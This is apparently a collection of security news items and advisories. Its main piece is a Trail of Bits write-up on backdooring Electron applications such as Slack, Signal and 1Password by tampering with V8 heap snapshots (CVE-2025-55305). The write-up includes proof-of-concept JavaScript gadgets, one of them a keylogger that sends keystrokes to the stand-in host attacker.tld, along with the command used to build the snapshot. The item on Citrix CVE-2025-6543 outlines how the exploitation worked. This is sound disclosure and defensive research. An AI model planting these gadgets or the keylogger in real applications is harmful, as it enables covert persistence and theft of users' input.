A vulnerability in Palo Alto Networks PAN-OS software enables an unauthenticated attacker to cause a denial of service (DoS) to the firewall. Repeated attempts to trigger this issue results in the firewall entering into maintenance mode.

Reference: https://security.paloaltonetworks.com/CVE-2026-0227

Interesting statement from this article Horizon3.ai has seen no evidence of customers using vulnerable configurations of n8n, even if the versions in use are within the vulnerable range. While the vulnerability exists, certain pre-requisites will limit widespread exploitability."

• The Ni8mare Test: n8n RCE Under the Microscope (CVE-2026-21858)

Trendy vulnerabilities aren’t always worth the hype—panic-driven responses often lead to wasted time and resources. This is top of mind for us as we’ve researched recent issues regarding n8n, a popular AI workflow automation tool. After assessing relevant data from customer’s production environments, Horizon3.ai’s Attack Team determined that the blast radius of CVE-2026-21858 is not as large as initially claimed:

• n8n Unauthenticated Remote Code Execution aka Ni8mare vulnerability (CVE-2026-21858) garnered attention regarding the RCE potential, but Horizon3.ai determined that no customer instances are impacted, even those running vulnerable versions.

Whenever a new vulnerability surfaces and makes headlines, organizations are left scrambling to determine whether they’re at risk. Failing to do so introduces major exposure if a vulnerability does turn out to be critical. But with a myriad of security products misleading users with claims of hundreds of critical installations, teams are left overwhelmed with what to fix, what to fix first, and most critically, why. Let’s dive into what we know about this latest trending vulnerability.

Some cases have been detected in Luxembourg.

Command injection vulnerability in FTP-Flask-python. The project seems no more maintained. Last update the April 28, 2017.

Subverting code integrity checks to locally backdoor Signal, 1Password, Slack, and more -The Trail of Bits Blog

On my first project shadow at Trail of Bits, I investigated a variety of popular Electron-based applications for code integrity checking bypasses. I discovered a way to backdoor Signal, 1Password (patched in v8.11.8-40), Slack, and Chrome by tampering with executable content outside of their code integrity checks. Looking for vulnerabilities that would allow an attacker to slip malicious code into a signed application, I identified a framework-level bypass that affects nearly all applications built on top of the Chromium engine. The following is a dive into Electron CVE-2025-55305, a practical example of backdooring applications by overwriting V8 heap snapshot files.

Application integrity isn’t a new problem

Ensuring code integrity is not a new problem, but approaches to it vary between software ecosystems. The Electron project provides a combination of fuses (a.k.a. feature toggles) to enforce integrity checking on executable script components. These fuses are not on by default, and must be explicitly enabled by the developer.

Figure 1: EnableEmbeddedAsarIntegrityValidation and OnlyLoadAppFromAsar enabled in Slack

EnableEmbeddedAsarIntegrityValidation ensures that the archive containing Electron’s application code is byte-for-byte what the developer packaged with the application, and OnlyLoadAppFromAsar ensures the archive is the only place application code is loaded from. In combination, these two fuses comprise Electron’s approach to ensuring that any JavaScript that the application loads is tamper-checked before execution. Coupled with OS-level executable code signing, this is intended to provide a guarantee that the code the application runs is exactly what the developer distributed. The loss of this guarantee opens a Pandora’s box of issues, most notably that attackers can:

• Inject persistent, stealthy backdoors into vulnerable applications
• Distribute tampered-with applications that nonetheless pass signature validation

Far from being theoretical, abuse of Electron applications without integrity checking is widespread enough to have its own MITRE ATT&CK technique entry: T1218.015. Loki C2, a popular command and control framework based on this technique, uses backdoored versions of trusted applications (VS Code, Cursor, GitHub Desktop, Tidal, and more) to evade endpoint detection and response (EDR) software such as CrowdStrike Falcon as well as bypass application controls like AppLocker. Knowing this, it’s no surprise to find that organizations with high security requirements like 1Password, Signal, and Slack enable integrity checking in their Electron applications in order to mitigate the risk of those applications becoming the next persistence mechanism of an advanced threat actor.

From frozen pizza to unsigned code execution

In the words of the Google V8 team,

Being Chromium-based, Electron apps inherit the use of “V8 heap snapshot” files to speed up loading of their various browser components (see main, preload, renderer). In each component, application logic is executed in a freshly instantiated V8 JavaScript engine sandbox (referred to as a V8 isolate). These V8 isolates are expensive to create from scratch, and therefore Chromium-based apps load previously created baseline state from heap snapshots.

While heap snapshots aren’t outright executable on deserialization, JavaScript builtins within can still be clobbered to achieve code execution. All one would need is a gadget that was executed with high consistency by the host application, and unsigned code could be loaded into any V8 isolate. Oversight in Electron’s implementation of EnableEmbeddedAsarIntegrityValidation and OnlyLoadAppFromAsar meant it did not consider heap snapshots as “executable” application content, and thus it did not perform integrity checking on the snapshots. Chromium does not perform integrity checks on heap snapshots either.

Tampering with heap snapshots is particularly problematic when applications are installed to user-writable locations (such as %AppData%\Local on Windows and /Applications on macOS, with certain limitations). With the majority of Chromium-derivative applications installing to user-writable paths by default, an attacker with filesystem write access can quietly write a snapshot backdoor to an existing application or bring their own vulnerable application (all without privilege elevation). The snapshot doesn’t present as an executable file, is not rejected by OS code-signing checks, and is not integrity-checked by Chromium or Electron. This makes it an excellent candidate for stealthy persistence, and its inclusion in all V8 isolates makes it an incredibly effective Chromium-based application backdoor.

Gadget hunting

While creating custom V8 heap snapshots normally involves painfully compiling Chromium, Electron thankfully provides a prebuilt component usable for this purpose. Therefore, it’s easy to create a payload that clobbers members of the global scope, and subsequently to run a target application with the crafted snapshot.

// npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
// Copy the resulting over file your application's `v8_context_snapshot.bin`

const orig = Array.isArray;

// Use the V8 builtin `Array.isArray` as a gadget.
Array.isArray = function() {
    // Attacker code executed when Array.isArray is called.
    throw new Error("testing isArray gadget");
};

Figure 2: A simple gadget example

Clobbering Array.isArray with a gadget that unconditionally throws an error results in an expected crash, demonstrating that integrity-checked applications happily include unsigned JavaScript from their V8 isolate snapshot. Different builtins can be discovered in different V8 isolates, which allows gadgets to forensically discover which isolate they are running in. For instance, Node.js’s process.pid and various Node.js methods are uniquely present in the main process’s V8 isolate. The example below demonstrates how gadgets can use this technique to selectively deploy code in different isolates.

const orig = Array.isArray;

// Clobber the V8 builtin `Array.isArray` with a custom implementation
// This is used in diverse contexts across an application's lifecycle
Array.isArray = function() {
    // Wait to be loaded in the main process, using process.pid as a sentinel
    try {
        if (!process || !process.pid) {
            return orig(...arguments);
        }
    } catch (_) {
         // Accessing undefined builtins throws an exception in some isolates
         return orig(...arguments);
    }

    // Run malicious payload once
    if (!globalThis._invoke_lock) {
        globalThis._invoke_lock = true;
        console.log('[payload] isArray hook started ...');

        // Demonstrate the presence of elevated node functionality
        console.log(`[payload] unconstrained fetch available: [${fetch ? 'y' : 'n'}]`);
        console.log(`[payload] unconstrained fs available: [${process.binding('fs') ? 'y' : 'n'}]`);
        console.log(`[payload] unconstrained spawn available: [${process.binding('spawn_sync') ? 'y' : 'n'}]`);
        console.log(`[payload] unconstrained dlopen available: [${process.dlopen ? 'y' : 'n'}]`);
        process.exit(0);
    }
    return orig(...arguments);
};

Figure 3.1: Hunting for Node.js capabilities in the Electron main proces

Figure 3.2: Hunting for Node.js capabilities in the Electron main process

Developing a proof of concept

With an effective gadget used by all isolates in Electron applications, it was possible to craft demonstrations of trivial application backdoors in notable Electron applications. To capture the impact, we chose Slack, 1Password, and Signal as high-profile proofs of concept. Note that with unconstrained capabilities in the main process, even more extensive bypasses of application controls (CSP, context isolation) are feasible.

const orig = Array.isArray;
Array.isArray = function() {
    // Wait to be loaded in a browser context
    try {
        if (!alert) {
            return orig(...arguments);
        }
    } catch (_) {
        return orig(...arguments);
    }

    if (!globalThis._invoke_lock) {
        globalThis._invoke_lock = true;
        setInterval(() => {
            window.onkeydown = (e) => {
                fetch('http://attacker.tld/keylogger?q=' + encodeURIComponent(e.key), {"mode": "no-cors"})
            }
        }, 1000);
    }
    return orig(...arguments);
};

Figure 4: Basic example of embedding a keylogger in Slack

With proofs of concept in hand, the team reported this vulnerability to the Electron maintainers as a bypass of the integrity checking fuses. Electron’s maintainers promptly issued CVE-2025-55305. We want to thank the Electron team for handling this report both professionally and expeditiously. They were great to work with, and their strong commitment to user security is commendable. Likewise, we would like to thank the teams at Signal, 1Password and Slack for their quick response to our courtesy disclosure of the issue.

“We were made aware of Electron CVE-2025-55305 through Trail of Bits responsible disclosure and 1Password has patched the vulnerability in v8.11.8-40. Protecting our customers’ data is always our highest priority, and we encourage all customers to update to the latest version of 1Password to ensure they remain secure.” Jacob DePriest, CISO at 1Password

The future looks Chrome

A majority of Electron applications leave integrity checking disabled by default, and most that do enable it are vulnerable to snapshot tampering. However, snapshot-based backdoors pose a risk not just to the Electron ecosystem, but to Chromium-based applications as a whole. My colleague, Emilio Lopez, has taken this technique further by demonstrating the possibility of locally backdooring Chrome and its derivative browsers using a similar technique. Given that these browsers are often installed in user-writable locations, this poses another risk of undetected persistent backdoors.

Despite providing similar mitigations for other code integrity risks, the Chrome team states that local attacks are explicitly excluded from their threat model. We still consider this to be a realistic and plausible avenue for persistent and undetected compromise of a user’s browser, especially since an attacker could distribute copies of Chrome that contain malicious code but still pass code signing. As a mitigation, authors of Chromium-derivative projects should consider applying the same integrity checking controls implemented by the Electron team.

If you’re concerned about similar vulnerabilities in your applications or need assistance implementing proper integrity controls, reach out to our team.

Ref: https://doublepulsar.com/citrix-forgot-to-tell-you-cve-2025-6543-has-been-used-as-a-zero-day-since-may-2025-d76574e2dd2c

Back in late June, Citrix posted a patch for CVE-2025–6543, which they described as “Memory overflow vulnerability leading to unintended control flow and Denial of Service”. Denial of service? Piff the magic dragon, who cares.

No technical details were ever published about the vulnerability. That changes today.

What they forgot to tell you: it allows remote code execution, it was used to widespread compromise Netscaler remote access systems and maintain network access even after patching, webshells have been deployed, and Citrix knew this and just didn’t mention it.

It has compromised government and legal services worldwide. Citrix provided customers on request, under weird conditions, a script to check for compromise.. but didn’t explain what was happening, and the script was incomplete.

The exact same threat actor was also exploiting CVE-2025–5777 aka CitrixBleed 2 to steal user sessions. This was also being exploited as a zero day. I am investigating if it’s also the same threat actor exploiting CVE-2025–7775, the latest Netscaler vulnerability — more on that soon.

NCSC Netherlands have a rather cool report out about CVE-2025–6543, where they’ve essentially done Citrix’s job for them:

[## Casus: Citrix kwetsbaarheid (Update 13-08-2025)

Via deze pagina biedt het NCSC een update op de eerdere berichtgeving. We bieden hierin de publicatie van twee nieuwe…

www.ncsc.nl](https://www.ncsc.nl/actueel/nieuws/2025/07/22/casus-citrix-kwetsbaarheid?source=post_page-----d76574e2dd2c---------------------------------------)

There’s lots of detail in there, but to pull a few things out of their report:

“The NCSC notes that several critical organizations within the Netherlands have been successfully attacked.

Zero-day vulnerability

Further research shows that vulnerability has occurred since at least early may was abused by the attacker. Op 25 june citrix published information about vulnerability CVE-2025–6543 and offered a patch to fix it. To this end, we are talking about a zero-day attack, as the vulnerability was abused before it was made public.

Forensics at affected organizations show that traces have been actively erased by the attacker. This makes forensic investigation challenging.”

I recommend reading their report. It’s really good. NCSC Netherlands are gods amongst cyber.

So what’s going on really?

CVE-2025–6543 is a vulnerability which allows an attacker to supply a client certificate, which overwrites memory. This then allows code execution on the box.

How? Calls are made to the Netscaler box to the endpoint /cgi/api/login, with a client supplied certificate. By sending hundreds of requests, you can overwrite chunks of memory in the hope of executing code.

This was happening long before the patch was released, and then devices were backdoored with webshells and other goodies which persist post patching. It is still unclear the extend of the activity — NCSC NL and others are investigating. It is clear the attackers covered their tracks, too.

Hunting

I would recommend, if logs exist, checking for web access requests to /cgi/api/login on your Netscaler devices. These will be large POST requests. It is extremely unlikely these are legit requests.

If you see a series of requests in quick succession, investigate. You will also lines in your Netscaler logs indicating error code 1245184 at the same time — this error code means a client supplied certificate is invalid.

On April 16, 2025, Apple released a patch for a bug in CoreAudio which they said was “Actively exploited in the wild.” This flew under the radar a bit. Epsilon’s blog has a great writeup of the other bug that was presumably exploited in this chain: a bug in RPAC. The only thing out there that I am aware of about the CoreAudio side of the bug is a video by Billy Ellis (it’s great. I’m featured. You should watch…you’re probably here from that anyways). As he mentioned in the video, “Another security researcher by the name of ‘Noah’ was able to tweak the values such that when it was played on MacOS, it actually did lead to a crash.” I think it’s still worth it to write about that ‘tweaking’ process in more detail.

I had just finished another project and ended up on a spreadsheet maintained by Project Zero which tracks zero days that have been actively exploited in the wild. It just so happened that that day there had been another addition: CVE-2025-31200. I couldn’t find any writeups on it, or really any information other than the fact that it was a “memory corruption in CoreAudio” so I decided to have a look myself. How hard could it be?

For more details - https://blog.noahhw.dev/posts/cve-2025-31200/

Risks

FortiOS, FortiProxy, and FortiSwitchManager are core components of Fortinet’s network security and management infrastructure, which provide firewalling, proxy services, and centralized switch management.

CVE-2025-22252 is a missing authentication vulnerability that allows an unauthenticated attacker with knowledge of an existing admin account to access the device as a valid admin. Exploitation of this flaw could grant attackers unauthorized control over network infrastructure, threatening confidentiality through data exposure, integrity via configuration tampering, and availability by disrupting critical services.

Description

CVE-2025-22252 is a missing authentication for critical function vulnerability in devices configured to use a remote TACACS+ server for authentication configured to use ASCII authentication. It may allow an attacker with knowledge of an existing admin account to access the device as a valid admin via an authentication bypass, potentially resulting in complete system compromise, data theft and service disruption.

Numerous law enforcement agencies worldwide have been affected by a zero-day exploit (path traversal) in reconnaissance software. This apparently also includes body cameras used by special forces, surveillance equipment, and police drones.

The „Media Relay Service (MRS)“ (web server) software for reconnaissance devices from the Israeli manufacturer Infodraw is affected by a serious security vulnerability (Path Traversal Vulnerability). Security experts from Mint Secure discovered the vulnerability and initially reported it to the manufacturer and – due to a lack of response – subsequently to operators and CERTs worldwide in order to rule out further risks and responsibly disclose the vulnerability. This blog post describes technical details, cases from various countries, and the approach behind the discovery. Recommendations for affected organizations are also provided.

• CVE-2025-24054 is a vulnerability related to NTLM hash disclosure via spoofing, which can be exploited using a maliciously crafted .library-ms file. Active exploitation in the wild has been observed since March 19, 2025, potentially allowing attackers to leak NTLM hashes or user passwords and compromise systems. Although Microsoft released a patch on March 11, 2025, threat actors already had over a week to develop and deploy exploits before the vulnerability began to be actively abused.

• Around March 20–21, 2025, a campaign targeted government and private institutions in Poland and Romania. Attackers used malspam to distribute a Dropbox link containing an archive that exploited multiple known vulnerabilities, including CVE-2025-24054, to harvest NTLMv2-SSP hashes.

  • Initial reports suggested that exploitation occurred once the .library-ms file was unzipped. However, Microsoft’s patch documentation indicated that the vulnerability could even be triggered with minimal user interaction, such as right-clicking, dragging and dropping, or simply navigating to the folder containing the malicious file. This exploit appears to be a variant of a previously patched vulnerability, CVE-2024-43451, as both share several similarities.

For more details: CVE-2025-24054, NTLM Exploit in the Wild